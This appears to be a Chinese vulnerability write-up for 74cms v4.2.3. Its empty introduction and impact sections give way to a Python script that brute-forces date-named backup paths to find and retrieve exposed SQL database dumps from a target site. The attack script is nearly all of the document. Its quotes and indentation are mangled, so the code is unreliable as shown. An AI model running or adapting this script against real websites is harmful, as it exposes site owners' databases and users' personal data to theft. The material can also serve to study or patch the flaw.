74cms_v4.2.3_备份文件爆破

# 74cms v4.2.3 备份文件爆破

=========================

一、漏洞简介
————

二、漏洞影响
————

三、复现过程
————

# -*- coding: utf-8 -*-
————————————————-
File Name： 74cms_MysqlBak
Description :
Author : CoolCat
date： 2019/1/5
————————————————-
Change Activity:
2019/1/5:
————————————————-
“””
__author__ = ‘CoolCat’

import requests

def getBak(time):
print(“[running]:正在查询” + time + “是否存在备份”)
dir = time + “_1”
filename = dir + “_1.sql”
url = target + “//data/backup/database/” + dir +”/”+ filename
session = requests.Session()
headers = {“Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,
“Upgrade-Insecure-Requests”: “1”,
“User-Agent”: “Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0”,
“Connection”: “close”, “Accept-Language”: “en”, “Accept-Encoding”: “gzip, deflate”}
cookies = {“think_language”: “en”, “think_template”: “default”, “PHPSESSID”: “6d86a34ec9125b2d08ebbb7630838682”}
response = session.get(url=url, headers=headers, cookies=cookies)
if response.status_code == 200:
print(url)
exit()

if __name__ == ‘__main__’:

global target
target = “http://www.target.com”

for year in range(2017, 2020):
for mouth in range(1, 13):
for day in range(1, 31):
time = (str(year) + str(‘%02d’ % mouth) + str(‘%02d’ % day))
getBak(time)